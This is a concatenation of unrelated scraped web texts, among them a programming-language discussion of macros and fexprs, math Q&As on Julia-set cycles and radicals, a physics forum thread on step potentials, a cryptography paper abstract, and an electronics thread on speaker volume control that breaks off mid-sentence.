information-processing difference between sapience and non-sapience. A draft touching on, amongst other things, why programming languages have poorer abstraction than mathematics appears to be well short of ready to go. A draft centrally about sapience and the limits of formal reasoning looks very nearly ready to go. My post earlier this year was Sapience and non-sapience. ### Syntax extension is to allow custom notations It's not really about meta-programming. I think it's widely accepted that any time you can use a macro or a function, you should use a function. I agree that when meta-programming facilities are lacking, people might misuse syntax extension facilities to fill that void, but I don't think meta-programming facilities will eliminate the need for syntax extension. ### Syntax extension is bad, okay. I think syntax extension is bad, because it makes it hard to reason about code without knowing the current definition scope. I think a good language should have a small lexicon of well known syntax. This can include overloading, but I want symbols to have consistent meanings across contexts, so '+' can be overloadable but always means some kind of addition. So I see the use of meta-programming as procedural construction of boilerplate code. Effectively its manipulation of the abstract syntax tree. Generics are like macros with a type-system, so I guess my problem is with macros that treat code as a text cut and paste exercise, not with the manipulation of code to build 'code generators'. ### Bingo I don't like macros, i think they only exist because the underlying language has weak support for generic programming. Bingo. A language with a more advanced type system wouldn't require macros. ### So... folks who like types dislike macros, and folks (well, I'm a sample of one, anyway) who dislike types also dislike macros. Yet macros are historically ubiquitous. Interesting. ### Evolution John - Macros are from an age when every byte and every clock cycle was precious. Serious question: Now that compilers can have arbitrarily complex and inefficient approaches to providing the same capabilities, why would we hold on to macros? Especially since moving the "macro" functionality later in the compiler cycle provides a dramatically richer set of information that can be used to reduce errors, increase readability, provide better feedback to the developer, etc. ### Fiddler on the roof Macros are a legacy feature, of course. There's more to it than that, though. For one thing, programmers can —or think they can— conceptualize what macros are doing. It's simple transcription, or, again, it seems to be. Hygienic macros are an attempt to maintain the illusion of that simplicity while actually doing something insanely mind-bending behind the scenes, a gambit that in my experience never works, but people keep trying: the superficial pretense of simplicity is always flawed in ways that seem "small" to the feature implementor but, for the feature user, in this case the programmer, make the difference between true smoothness, a la the smoothness conjecture, and miserable frustration caused by things that look like they ought to be smooth and then ball up in a snarl under real-world tensions. The disconnectedness of macros from whatever runtime model a given programming language uses, while it creates problems per the smoothness conjecture, also creates at least a seeming of generality, of being a familiar device applicable to all languages. That seeming advantage, however illusory, isn't something that more modern alternatives can readily compete with because all of them are more integrated with the programming language in which they occur — and while that's a huge advantage for smoothness, it guarantees that no one such alternative will apply as impartially across disparate language models as macros do. In assembling a broad panorama of Lisp history for my dissertation, I found (btw) the interplay between macros and fexprs rather fascinating. Fexprs were naturally suggested by the structure of the very-early Lisp interpreter; but that interpreter, owing to lack of prior experience with such a creature, muffed the handling of environments and so had dynamic scope. Fexprs, it turns out, only come into their own when well-merged with static scope. So macros were introduced, very early on, as an alternative to fexprs since fexprs weren't working out right. Static scope was brought in as a non-default device but thereby came across as a complication, and as Lisp broke up into dialects in the mid-1960s, emphasis on compilation squeezed out the static-scoping device. Static scope started coming in as the default with Scheme in the mid-1970s, but that took a while to catch on, and meanwhile fexprs continued to fizzle in dynamically scoped Lisp and were finally axed in 1980, just before they might (conceivably) have begun to thrive in a new generation of statically scoped Lisp. A massive intellectual investment was then made, during the 1980s, in finding a way to containerize the essential kludginess of macros, i.e., develop hygienic macros. And then, just to put the icing on the cake, in 1998 Mitch Wand published a paper called "The Theory of Fexprs is Trivial". Frankly, Wand's paper is about reflection and has nothing really to do with fexprs as they exist in any Lisp dialect; but by this time the community had a massive emotional investment in macros, and fexprs were a popular target for ridicule (because that's what you do with an old paradigm in order to purge it from the community to give the new paradigm a clear field). So now, to this day, some people take it as "proven" that the theory of fexprs is trivial; and that misapprehension, which makes the momentum of macros much more difficult to overcome, was itself formed by repeated blows from the macro legacy over nearly forty years. ### macros still We still need macros and the like because type systems and language cores simply aren't expressive enough to allow the concision required for visual verification of correctness. a trivial example is a table layout representing a repeated application of some template expression, the columns of each row filling in the holes in the template. In C you need this more than an FPL with HOFs which can reduce the boilerplate in some circumstances. On the other hand in Felix the syntax extension to support EBNF for regular definitions is clearly a major advance over the two other unreadable forms: combinators (stupid things always come in prefix which is unreadable) or string regexps (escapes and the like destroying the readability of all but the simplest regular expression). As a demonstration the regexps used in ALL languages except Felix for the Shootout were wrong. ALL of them. Except Felix. They all copied PCRE syntax used in the C example which was wrong. The test was simple, regular expressions even for simple cases are unreadable by humans. Combinator forms are worse because they're even more verbose. Perl kills it because its substitution technology simulates regular definitions. But Felix kills Perl because it has a real EBNF grammar which reduces to combinators which reduce to library calls (which actually rebuild regexps to submit to Google RE2!). The point of syntax extensions is to make the syntax comprehensible to humans with experience in a particular domain, and the major part of that is to remove boilerplate. Look at Jane St Ocaml libraries to see the extensive use of ppx syntax transformers. There is a language which does this best, in which the "macros" are more or less seamlessly integrated with the rest of the language. And of course .. that language is C++. The simple fact here is that so called "advanced" languages like Haskell and Ocaml are in fact extremely primitive. They cannot do the most basic polyadic operations. Haskell, Ocaml, and Felix ALL have generic maps, Haskell by cheating in the compiler, Ocaml with a ppx, and Felix also by cheating in the compiler. Yet the way to define these generics is fairly well known. In fact every programmer can routinely define a map for any inductive datatype. ### Simple direct expression of the algorithm is better. This can be done with generics, and typeclasses, but it's a bit ugly in current languages, see the HList paper for the database example. A language that was designed to allow this kind of generic manipulation would be able to do the examples you propose without macros. Syntax expressions are bad because you cannot read them, and you cannot see the code that will actually be run. Generic abstractions are better because we can always see the actual algorithm expressed directly and simply, and further, it can be applied generically meaning you only need (for example) one definition of quicksort for any application. ### symbols A basic difficulty in this sort of situation is that human readers understand symbols in an entirely different way than the computer does. Human readers are sapient, primarily perceiving a big picture to which the computer is inherently oblivious as it just follows an algorithm. Seems to me that one should be especially wary of any situation where computer processing of symbols gets hard to explain, such as an elaborate discussion of hygiene, because it suggests a large discrepancy between human and computer processing of symbols. (I'd like to think Kernel avoids this through its use of first-class environments to let the human programmer think explicitly about how the computer processes symbols.) Working with Kernel, it emerged that unintentional hygiene errors usually result from quotation. The general principle — keeping in mind that quotation is easy to implement using operatives (Kernel-style fexprs) — seems to be that an operative shouldn't obfuscate the line between interpreted and uninterpreted syntax; though I never did precisely formulate that principle. Abstractly, that way of getting in trouble with Kernel seems much the same thing as what these macros do with the keyword list. A curious variant strategy, that I unearthed in writing my dissertation, is "single-phase macros"; which I mention here because they offer yet another angle on the phenomenon of quoted symbols causing bad hygiene. (This is the first time I've found single-phase macros relevant to something outside the dissertation; though I thought when first noticing them that, even though I officially "don't like" macros, single-phase macros could be fun to play around with. :-) Single-phase macros use a constructor of single-phase macros called $macro, using a similar call syntax to $lambda. It takes three operands: a formal parameter tree, a list of symbols we'll call meta-names, and a template expression. When the macro is called, a local environment is constructed by extending the static environment of the macro (where $macro was called). Symbols in the formal parameter tree are locally bound to the corresponding parts of the operand list of the call to the macro; and meta-names are bound to unique symbols that are newly generated for each call to the macro [i.e., gensyms]. A new expression is constructed by replacing each symbol in the template with its value in the local environment; and finally, this new expression is evaluated in the dynamic environment of the call to the macro, producing the result of the call. Here is a hygienic single-phase version of [short-circuit or]: ($define! $or? ($macro (x y) (temp) ($let ((temp x)) ($if temp temp y)))) Symbols $let and $if can't be captured by the dynamic environment of the macro call because they are locally looked up and replaced during macro expansion[...]. The $let in the expanded expression can’t capture free variables in the operands x and y because its bound variable temp is unique to the particular call to $or?. Single-phase macros appear remarkably stable. Unlike Kernel operatives, single-phase macros can't implement quotation, so it would have to be provided as a separate primitive in the language — and afaics, single-phase macros are only capable of violating hygiene if combined with some primitive that enables quotation. ### Clojure’s syntax-quote Clojure’s syntax-quote provides two features, one of which is similar to half of your “single-phase macros” design. That is, within a syntax-quote, symbols ending in # are replaced with gensyms. Matching symbols are unified across the full extent of the quote: (let [temp# x] (if temp# temp# y)) ;=> (cljs.core/let [temp__2__auto__ cljs.user/x] (if temp__2__auto__ temp__2__auto__ cljs.user/y)) Building this in to quote instead of a macro definition form decoupled the templates, which is critical for writing larger macros that compose fragments of code, which single phase macros don’t look like they can do. Of course, the tradeoff is that you now need unquote to get at external symbols, such as the macro parameters. My example highlights another feature of syntax-quote, auto-namespacing of unardorned symbols. Here, if x or y were defined, they would have been resolved in their respective namespaces, which lets you refer to external methods freely without quoting or unquoting in the common case, such as cljs.core/let which is a macro that provides destructuring over the primitive let* special form. ### composing fragments of code Interesting. I'm not sure what you mean by "critical for writing larger macros that compose fragments of code". Composition is not a problem, because single-phase macros are, well, single-phase. That is, there is no distinction between compile-time and run-time bindings, no distinction between compile-time environment and run-time environment. $macro is itself a first-class object, and so are $let, $if, and $or?. When $or? is called, it looks up $let and $if in its static environment, thus retrieving the first-class objects $let and $if and embedding them in the form which is then evaluated in the dynamic environment where $or? is called; and because $let and $if are not symbols, they self-evaluate with no danger of the dynamic enviornment capturing any symbol from the body of $or?. All of those symbols are already gone before the dynamic environment is consulted. If another macro is defined, with the definition of $or? within its static scope, it can call $or? without difficulty; it's even perfectly possible for a single-phase macro to recurse, just as an ordinary $lambda-based procedure could. ### 3D syntax OK, I think I get you now. Most simple macros have exactly one expression in their body: a code template. So much so that it's not uncommon for early Clojure programmers to assume that quoting is a construct only available in macros, and that quoting form is part of the syntax of the macro defining form! However, as macros grow, they often turn in to a bunch of functions that often use code templates within them and then offer a small macro entry point that calls the root template. My concern was that your macro defining form does not allow for code between the binders and the template. However, I had forgotten the broader context of fexprs, in which case I guess I can think of your macro form as basically just a first-class syntax template and syntax-quote as an implicit invocation of such a template: ($define!$quote-with-temps ($vau (temps form) #ignore (eval (list (list '$macro '() temps form))))) ;; some x and y available here ($quote-with-temps (temp) ($let ((temp x)) ($if temp temp y)) It's just a small recursive-walk past that to remove the explicit temps list and discover it from symbols ending in #. Have I understood correctly? it looks up$let and $if in its static environment, thus retrieving the first-class objects$let and $if and embedding them in the form [...] those symbols are already gone before the dynamic environment is consulted I believe the Racket folks call this 3D-Syntax. Clojure support unquoting (~) first-class objects in to syntax-quote () too: user=> (inc 5) 6 user=> (eval (list 'inc 5)) 6 user=> (eval (list ~inc 5)) 6 user=> inc #object[clojure.core$inc 0x41709512 "clojure.core$inc@41709512"] user=> 'inc inc user=> inc clojure.core/inc user=> ~inc #object[clojure.core$inc 0x41709512 "clojure.core$inc@41709512"] Additionally, both Racket and Clojure will allow serializable objects to pass from macro output in to compiled code. I believe that Clojure simply requires the objects be JVM serializable. I have two big problems with leaning on this technique: 1. It weakens the syntactic-flavor of metaprogramming in a lisp 2. It interacts badly with live programming To the first point, I'd much rather work with clojure.core/inc, which is a namespace qualified symbol, and 'x__41__auto__ or some other gensym'ed symbol, than with something like #object[java.lang.Object 0x7ac0e420 "java.lang.Object@7ac0e420"], which is just the memory address of some first-class object. Yes, the symbolic constructs introduce hygiene risks, but the objects approach hurts usability. Critical features such as pretty printing, copy/paste, macroexpand, etc all become more difficult to build and use, and potentially less useful if they exist at all. To the second point, binding to an object directly creates a sort of "hyper-static environment" developer experience. If you support runtime code reloading, you don't know which macros/fexprs have captured pointers to specific instances of function definitions all across your program. Clojure also has first-class "vars", which are both syntactic and callable. While this doesn't help with gensyms for locals, it helps a ton for global definitions, which are the bulk of your program: user=> #'inc #'clojure.core/inc user=> #'inc (var clojure.core/inc) user=> (var inc) #'clojure.core/inc user=> (eval #'inc) #'clojure.core/inc user=> (#'inc 5) 6 user=> (eval (list #'inc 5)) 6 The object that gets serialized in to your compiled program is the Var object, which indirects through the global name. So if at runtime you redefine clojure.core/inc, then every call site is updated. If I used the inc function object directly, stale versions would stick around. I'll avoid an unrelated rant on ways to recover live programming UX in hyper-static environments (primarily: checkpointing. See Forth's "marker"). ### unquoted symbols I guess I can think of your macro form as basically just a first-class syntax template [...] Have I understood correctly? I'm unsure. The tricky thing about single-phase macros is that, although they're evidently template-based, there are no quoted symbols involved. Consider ($define! $or? ($macro (x y) (temp) ($let ((temp x)) ($if temp temp y)))) Here the template is ($let ((temp x)) ($if temp temp y)) There are seven symbol instances here, and all seven are evaluated in a local environment. If this were being written using $vau (and supposing Kernel had syntactic sugar for quasiquotation, and a primitive gensym), it would be ($define! $or? ($vau (x y) e ($let ((temp (gensym))) (eval (,$let ((,temp ,x)) (,$if ,temp ,temp ,y)) e)))) Every single symbol in the template is unquoted. There is, in fact, no way with single-phase macros to not unquote all the symbols. Every single symbol in that template has to be either a parameter, or a meta-name, or bound in the static environment, because if a symbol in the template were locally unbound, that would be an undefined-symbol error. It weakens the syntactic-flavor of metaprogramming in a lisp I perceive you're interested in macros as a compile-time optimization strategy, for which one would certainly want a syntactic flavor. I can't personally relate to your objection, as I don't think of metaprogramming as all that syntactic. Of course, single-phase macros share with Kernel a wholesale collapse of the compile-time/run-time distinction, so the primary motive for quasi-quotation is somewhat undermined. [doh; forgot to call eval in the $vau-based version of $or?; fixed.] ### I do get it there are no quoted symbols involved Yeah, I got that. That's why I mentioned 3D-syntax. Maybe "$quote-with-temps" is a misleading name. The result is neither "quoted" nor are the temps _symbols_. So let's call it $make-list-with-temp-vars". I get that ($make-list-with-temp-vars (x) (f x)) would return something like (list <proc:f> <var:x>) instead of '(f x). I perceive you're interested in macros as a compile-time optimization strategy You've perceived incorrectly. I'm interested in macros and their ilk as a means for expressivity. That said, while I used to, like you, be a believer in eliminating any phase distinction, I'm no longer so sure. Now I'm more interested in constructs that are phase agnostic. That is, phase distinctions are useful, but all phases should be programmed using the same tools (eg. type and term language are the same) and moving expressions between phases should preserve behavior as best as possible (ie don't do what Java method overloading does in the presence of dynamic dispatch with subtyping). I've come to this position because I care about modularity of reasoning across time (read-time, compile-time, boot-time, HTTP-request-time, etc more fine grained than compile/run),. However, I also care about performance. More importantly, I care about being able to express performance-critical information about my program. Macros are a weak tool for that job, other than the fact that they can be enabled to have the same syntax as function calls, which gives some sort of syntactic-compatability as an escape hatch when you have to rewrite a macro as a function or a function as a macro. I don't think of metaprogramming as all that syntactic This is surprising to me, but maybe because I care a lot about observabilty and debuggability. If you can't pretty-print it, you can't debug it. Even if you have non-syntactic objects, you need some kind of unparse operation so that you can actually understand what you're looking at. ### while I used to, like you, while I used to, like you, be a believer in eliminating any phase distinction, I'm no longer so sure. For me, also, things got subtler than that some time back. Amongst interesting ideas I've wanted to explore (and not explored) is to use something like Kernel for the task of generating object code, effectively turning a Kernel-like interpreter into a compiler (hopefully, a profoundly eloquent compiler). I care a lot about observabilty and debuggability. If you can't pretty-print it, you can't debug it. I substantially agree with these things. Past experiences suggest to me, though, that how things get displayed can make an astounding difference. In my experiments with Kernel interpretation (which for various reasons were disrupted and never completed to become public), each first-class value had a history stamp and possibly a name. The history stamp had (iirc) two parts: a source-code location (specifying the source file, and starting/ending line-and-column), and a [grammatical] aspect (indicating whether the object was actually read from the file, or the result of evaluation). The name would be simply the first symbolic name, if any, to which the object was bound in any environment (the procedure for binding a symbol to a value would suggest the symbol to the value, which would adopt the suggestion if it was nameable and didn't already have a name). Diagnostic messages display that information when describing a first-class value. I was hopeful that this might produce extremely lucid/effective diagnostics, and if it wasn't as successful as I'd hoped, of course I would have experimented further; but to find out would have required an accumulation of practical experience with such an interpreter, and the project got disrupted before that could happen.	{}
# Quadratic Julia sets and periodic cycles Consider the function $f_c(z) = z^2 + c$. Applying this function repeatedly, we get the familiar quadratic Julia sets that fractal enthusiasts burn compute cycles plotting. Infinity is always one attractor of the system. Depending on the choice of $c$, a finite attractor may also exist. Sometimes this is a fixed-point. Sometimes it is a repeating cycle of some finite number of points. Consider the case of a fixed-point. The actual numerical value of this fixed point depends on $c$. So I set out to investigate a way to compute this number directly. A fixed point of $f_c$ is simply any $z$ for which $f_c(z) = z$. In other words, we wish to solve $z^2 + c = z$. Rearranging as $z^2 - z + c = 0$, I was easily able to find $$z_1 = \frac{1 \pm \sqrt{1 - 4c}}2$$ At this point, something struck me: First, there are obviously two such fixed-points, only one of which is the finite attractor. But, more conspicuously, these two fixed-points always exist. Even when there is no fixed-point attractor, there definitely are two fixed points. What about a period-2 cycle? That is, we want to solve $f_c(f_c(z)) = z$. Solving $(z^2 + c)^2 + c = z$ is a little more tricky than the last equation - but the formula for $z_1$ gives us two of the solutions, and it's then fortunately easy to discover the other two: $$z_2 = \frac{1 \pm \sqrt{-3-4c}}2$$ Again, this cycle always exists. At this point, I tried to find a period-3 cycle. Clearly $((z^2 + c)^2 + c)^2 + c = z$ has 8 solutions, two of which are $z_1$, which leaves 6 remaining. At this point, I was unable to work out how to solve the equation. The mighty Mathematica™ also refused to give me a closed form. (I suppose it's plausible that none exists.) It seems clear though that these solutions exist, even if I can't easily compute them. And if there's 6 of them, that's presumably a pair of period-3 cycles. More generally, it seems there is no reason why cycles of any finite length wouldn't exist all the time. So, my actual question is this: Where do all these periodic cycles "live" when they aren't the attractor of the system? - See: commons.wikimedia.org/wiki/File:Bifurcation1-2.png and descriptions : en.wikipedia.org/wiki/… HTH – Adam Oct 14 '12 at 19:16 There is an awful lot of interesting stuff in this question, but I'll do my best to keep this answer organized. (1) Since you are working over the complex numbers, which are algebraically closed, the polynomial equation $f^{\circ n}_c(z) = z$ always has $2^n$ solutions when counted with multiplicity, even if you can't explicitly solve for them. (2) It is unfortunately not the case that $f_c$ has periodic cycles of every possible (exact) period. For example, you can check that $f(z) = z^2 - \frac{3}{4}$ has no period $2$ points which are not fixed points. However, this behavior has been studied, and we know exactly when a rational map can be missing points of a given period: Suppose that $f\in \mathbb{C}(z)$ is a rational map of degree $d\geq 2$, and suppose that $f$ has no cycle of exact period $n$. Then the tuple $(n,d)$ is either $(2,2)$, $(2,3)$, $(3,2)$, or $(4,2)$. Moreover, if $f$ is a polynomial, only $(2,2)$ can occur. This is a thorem of I.N. Baker proved in the paper "Fixpoints of polynomials and rational fucntions." (1964) In particular, for the maps $f_c$ you are considering, you definitely have points of exact period $n$ for all $n\geq 3$. For an excellent discussion of such topics, I recommend section 4.1 of Joe Silverman's book "The Arithmetic of Dynamical Systems." (3) If I understand correctly, you are assuming that the $c$ you've chosen is such that $f_c$ has a finite attracting cycle. The Fatou-Shishikura theorem says that there are at most $2$ non-repelling cycles. You've identified these as $\infty$ and the finite attracting cycle. It follows that all other cycles are repelling, and hence live in the Julia set. I hope that answers your actual question. For a simple proof of Fatou-Shishikura in the case of polynomial maps, see Theorem VI.1.2 of Carleson and Gamelin's book "Complex Dynamics." - It seems the case of $z^2 - \frac34$ only "lacks" a period-2 cycle because both points of the cycle just happen to coincide in this case. I find it interesting that this choice of $c$ is also the exact place where the Julia set goes from connected to disconnected - that doesn't sound like a coincidence! ;-) – MathematicalOrchid May 8 '12 at 9:36 Indeed that is not a coincidence. – mick Feb 11 '13 at 22:29 A computer can find solutions to this, but the solutions can't be put into a form which can map to any other form - the most you can do is find a periodic point of period 3 in the 2 bulbs at the top and bottom of the Mandelbrot set, and the one on the negative real axis by expanding the LHS, collecting on the LHS, and setting $z=0$. - For a very simple case, pick $c=0$. If $\|z\| > 1$, then the sequence of iterates generated by $z$ diverges to infinity. If $\|z\| < 1$, then the sequence generated by $z$ converges to $0$. The interesting part is what happens along the circle $\|z\|=1$. In this circle, you get periodic points of any periods as well as points whose sequence is not periodic, ans sometimes dense is that circle. To see this, remark that $\arg(f(z)) = 2z$, so you may understand $f$ better if you look at what it does to $arg(z)/2\pi$ : it is the multiplication by $2$ map from $\mathbb{R}/\mathbb{Z}$ to itself. If you write numbers of $\mathbb{R}/\mathbb{Z}$ in their binary expansion, points whose orbit is $k$-periodic are exactly the points with a $k$-periodic binary expansion. For example, the two $3$-periodic orbits correspond to the binary expansions : $(.001001 \ldots \to .010010 \ldots \to .100100 \ldots \to .001001 \ldots)$ and $(.011011 \ldots \to .110110 \ldots \to .101101 \ldots \to .011011 \ldots)$. Indeed, if a binary expansion is $3$-periodic without being $1$-periodic, then it has to be one of those $6$ numbers. You can do the same for orbits of any length : you can easily find all the points on the circle who generates a periodic sequence for any period you want. Additionnally to those points, you have all the points who correspond to ultimately periodic binary sequences, they are the points on the circle that will at some point land on one of those $k$-cycles. All of those points corresponds to rational numbers of $\mathbb{R}/\mathbb{Z}$. Then there are uncountably many points of the circle, so there are uncountably many points we've missed so far. Some of them will have an orbit that's dense in the circle. Some of them will have strange behaviour, for example if you start from $.01001000100001\ldots$, this one will get arbitrarily close to $0$ only to get farther and farther from it, get close to $.1$ and then jump back even closer to $0$. So in this simple case, $\mathbb{C}$ is split into two open sets, the basin of attraction of $\infty$, the one for $0$, and between them is a closed subset of $\mathbb{C}$ where all the other cycles are hidden and chaotic behaviour happens. In general, you will have the same kind of picture : $\mathbb{C}$ is split into one or more (actually I don't know if there is always an attractive cycle in $\mathbb{C}$) open subsets that are basins of attraction, while the frontier between them is where all the other cycles are hidden (but still there). - So every cycle that isn't an attractor is always a repellor? (And, thus, hides in the Julia set of the system.) – MathematicalOrchid May 8 '12 at 9:38 This is true for the maps $f_c$ you are considering if you know there is a finite attracting cycle. There are value of $c$ for which there are no attracting cycles, but there are indifferent cycles. When $c$ is the golden mean, for instance, you get a Siegel disc. Since $f_c$ has degree $2$, it can only have one finite non-repelling cycle, so almost every cycle is repelling. – froggie May 8 '12 at 10:30	{}
IN WHICH Ross Rheingans-Yoo—a sometime economist, artist, trader, expat, poet, EA, and programmer—writes on things of interest. # Reading Feed (last update: July 5) A collection of things that I was glad I read. Views expressed by linked authors are chosen because I think they’re interesting, not because I think they’re correct, unless indicated otherwise. ### (4) Blog: Tyler Cowen @ Bloomberg View \| The NBA’s Reopening Is a Warning Sign for the U.S. Economy — "If so many NBA players are pondering non-participation, how keen do you think those workers — none of whom are millionaire professional athletes — are about returning to the office?" # Class Notes Classes started yesterday (though my median class wasn't until 11:30 today), and, on a lark, I decided to take my notes, not on paper (as I have for the first five semesters of my college career), nor in $\LaTeX$ (like a reasonable person), but here, on my blog site. This has the benefits of (1) being easier to share with other people and (2) lowering the activation energy for me looking them up come finals-time. It has the problems of it being really annoying to write MathJax-compatible Markdown. (For other people facing this problem, Ore Babarinsa / Ben Kuhn suggest Madoko.) But I'm getting better at it, and I'm already at the rate where I can live-write these things, so it's not so bad. Maybe if I build up some momentum, I'll finally have enough motivation to stop skipping cl--OH WAIT MY MOM READS THIS BLOG NEVER MIND THAT.	{}
### Learning Outcomes • Recognize when a radical expression can be simplified either before or after addition or subtraction There are two keys to combining radicals by addition or subtraction: look at the index, and look at the radicand. If these are the same, then addition and subtraction are possible. If not, then you cannot combine the two radicals. In the graphic below, the index of the expression $12\sqrt[3]{xy}$ is $3$ and the radicand is $xy$. Making sense of a string of radicals may be difficult. One helpful tip is to think of radicals as variables, and treat them the same way. When you add and subtract variables, you look for like terms, which is the same thing you will do when you add and subtract radicals. In this first example, both radicals have the same radicand and index. ### Example Add. $3\sqrt{11}+7\sqrt{11}$ This next example contains more addends, or terms that are being added together. Notice how you can combine like terms (radicals that have the same root and index), but you cannot combine unlike terms. ### Example Add. $5\sqrt{2}+\sqrt{3}+4\sqrt{3}+2\sqrt{2}$ Notice that the expression in the previous example is simplified even though it has two terms: $7\sqrt{2}$ and $5\sqrt{3}$. It would be a mistake to try to combine them further! Some people make the mistake that $7\sqrt{2}+5\sqrt{3}=12\sqrt{5}$. This is incorrect because$\sqrt{2}$ and $\sqrt{3}$ are not like radicals so they cannot be added. ### Example Add. $3\sqrt{x}+12\sqrt[3]{xy}+\sqrt{x}$ Sometimes you may need to add and simplify the radical. If the radicals are different, try simplifying first—you may end up being able to combine the radicals at the end as shown in these next two examples. ### Example Add and simplify. $2\sqrt[3]{40}+\sqrt[3]{135}$ ### Example Add and simplify. $x\sqrt[3]{x{{y}^{4}}}+y\sqrt[3]{{{x}^{4}}y}$ The following video shows more examples of adding radicals that require simplification. Subtraction of radicals follows the same set of rules and approaches as addition—the radicands and the indices must be the same for two (or more) radicals to be subtracted. In the three examples that follow, subtraction has been rewritten as addition of the opposite. ### Example Subtract. $5\sqrt{13}-3\sqrt{13}$ ### Example Subtract. $4\sqrt[3]{5a}-\sqrt[3]{3a}-2\sqrt[3]{5a}$ In the following video, we show more examples of subtracting radical expressions when no simplifying is required. ### Example Subtract and simplify. $5\sqrt[4]{{{a}^{5}}b}-a\sqrt[4]{16ab}$, where $a\ge 0$ and $b\ge 0$	{}
How to formulate arbitrary complex trigonometric polynomial? How to formulate arbitrary complex trigonometric polynomial? I know that in real form it is $\displaystyle\sum_{n=1}^k a_n\cos(nx)+b_n\sin(nx)$ - $\cos(nx)=\frac{1}{2}(e^{inx}+e^{-inx})$, and $\sin(nx)=\frac{1}{2i}(e^{inx}-e^{-inx})$, so you have a sum of $A_{n}e^{inx}+B_{n}e^{-inx}$, where $A_{n},B_{n}$ are new constants. Then you can just write it as $$\sum_{n=-\infty}^{\infty}{c_{n}e^{inx}},$$ for some $c_{n}$. Clearly, this sum includes the possibility of a constant term, which you don't have in your original sum, but you can just set $c_{n}$=0. It should be easy enough to find a formula for $c_{n}$ in terms of $a_{n}$ and $b_{n}$ if you want to.	{}
# Step potential - question about reflection coefficient 1. May 20, 2009 ### trelek2 Hi. I've been trying to understand the phenomenon of step potential, when energy of particle E is higher than the potential V. Then we have solution on both sides of boundary in the form of wave functions.... Is the reflection coefficient in this case simply (E-V)/E ?? Can anyone show me a more formal explanation, however not as formal as in books (so that i understand :) What does the quantum mechanical coefficient really tell us (in comparison with classical thinking)? If we think about it classically I think we can be sure that particle gets transmitted at boundary, but loses some energy. From the QM point of view, on the other hand I guess we have a probability that particle gets reflected? Please tell me if my reasoning is correct:) cheers! 2. May 20, 2009 ### Staff: Mentor No, it's $$R = {\left( \frac {\sqrt{E} - \sqrt{E - V}} {\sqrt{E} + \sqrt{E - V}} \right)}^2$$ I don't know any other way to justify this particular equation except by solving the Schrödinger equation on both sides of the step boundary, and applying the boundary conditions at the boundary, as described http://www.cobalt.chem.ucalgary.ca/ziegler/educmat/chm386/rudiment/models/barrier/barsola.htm. Exactly. If you have a particle coming in from the "low" side of the step, it has probability R of ending up on that side of the step, moving in the opposite direction; and probability 1 - R of ending up on the other side of the step, continuing in the same direction. Last edited by a moderator: Apr 24, 2017 3. May 20, 2009 Thanks:]	{}
## CryptoDB ### Paper: Coupling of Random Systems Authors: David Lanzenberger Ueli Maurer Search ePrint Search Google This paper makes three contributions. First, we present a simple theory of random systems. The main idea is to think of a probabilistic system as an equivalence class of distributions over deterministic systems. Second, we demonstrate how in this new theory, the optimal information-theoretic distinguishing advantage between two systems can be characterized merely in terms of the statistical distance of probability distributions, providing a more elementary understanding of the distance of systems. In particular, two systems that are epsilon-close in terms of the best distinguishing advantage can be understood as being equal with probability 1-epsilon, a property that holds statically, without even considering a distinguisher, let alone its interaction with the systems. Finally, we exploit this new characterization of the distinguishing advantage to prove that any threshold combiner is an amplifier for indistinguishability in the information-theoretic setting, generalizing and simplifying results from Maurer, Pietrzak, and Renner (CRYPTO 2007). ##### BibTeX @article{tcc-2020-30599, title={Coupling of Random Systems}, booktitle={Theory of Cryptography}, publisher={Springer}, author={David Lanzenberger and Ueli Maurer}, year=2020 }	{}
# All Questions 196 views ### Use ElGamal to solve Diffie-Hellman problem Say we are able to decrypt a Elgamal ciphertext $c$ using only the public key. Apparantly it is now possible to solve the Diffie-Hellman problem (given $g^a, g^b$ calculate $g^{ab}$). How? I know how ... 47 views ### In symmetric searchable encryption are the algorithms public? [duplicate] If a user (other than the data owner) possesses the secret key in symmetric searchable encryption scheme are they able to run the trapdoor algorithm, or is this not publicly available? 247 views ### Public and Private key encryption in simple math Can anybody show me (or point me to resource) how to generate public key and private key with simple math? Steps which can be reproduced in a simple calculator – so the message, keys all can be ... 86 views ### Types of cryptography We have cryptography based on hard problems from number theory, like DDH. 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# Can I use a potentiometer to reduce sound level in a speaker? I want to reduce the level of sound in a speaker (i think 6Ω 30w rms). I wonder if it is that simple to put a potentiometer in one of the cables. If this can do the trick, how do I calculate the resistance needed? - possible duplicate of How to make my own volume control for headphones? – Kellenjb Jan 21 '12 at 17:44 Although I marked that as a duplicate, your question is about larger speakers and as clabacchio points out, they are treated differently then headphones. So probably not actually a duplicate, but I can't take back the vote now. – Kellenjb Jan 21 '12 at 17:46 That's a way, but it's better suited for eadphones, as the resistance will consume a power comparable to the speaker, so you need a fairly high power resistor. The alternative is to use a power transistor, and then you would need only a circuit to bias it, and that can be generated also with a voltage divider, with the potentiometer. The problem is, as Russel said, that the loudness is logarithmic with the power delivered, so you would need an exponential output from the transistor. I think that for achieving that you can use a MOSFET, that gives you an exponential transconductance (that is, for a linear increase of the input voltage, the current scales exponentially) but that's theory. - While the math @Russel McMahon provided is correct it doesn't consider the nature of the amplifier your using. For instance grounding the speaker negative would short out the amplifier if it were a class D with an H-bridge output (very common today), it would also short out a 'bridged' class AB amp. Also the type of signal is very important. If your using this to blast test tones into something then the RMS power numbers provided are something to look at. If your playing dynamic music, the average power levels will be drastically lower and your concern is more with short peaks of power usage. Your amplifier may also run into impedance issues. One of the examples shows an impedance of 4.4 ohm. This is just an average. Depending on the speaker, the impedance at its resonance point may be much lower, maybe under 2 ohms. Not many amplifiers can handles that cleanly without distortion or complete shutdown. There are also issues with signal quality from tossing a resistor (and especially a pot) in the signal path, not sure how much of a concern this is for you. You can get pot's with what is usually called an 'audio taper' which really means log taper. 'Audio taper' generally tells you two things. One that the resistance changes logarithmically when rotated making audio output change more linearly with respect to rotation of the knob. Second that the pot was designed with audio in mind, that it can pass a signal at least reasonably cleanly. There are several ways to build a pot, the best for audio are made with a conductive plastic while the worst are made with a carbon/graphite deposit. Generally audio taper pots will at least be decent for audio use while a pot not labeled as such could be anything from terrible to good. Ultimately the right solution (or at least how its normally done) is an autoformer. Most commercial wall mount volume controls are made this way and run about $25 USD for 100W stereo models. If you want to make one yourself all you need is 1 autoformer per channel with multiple taps on the secondary at your desired level step-down points and a rotary switch. When shopping for parts just beware of the 'audiophiles' crazies selling$500 autoformers. - 500 dollars is cheap compared to what I have seen audiophools sell things for. I saw 36k cables, and that was for 5 feet. – Kortuk Nov 2 '12 at 3:40 You can use pure resistance to reduce sound level to 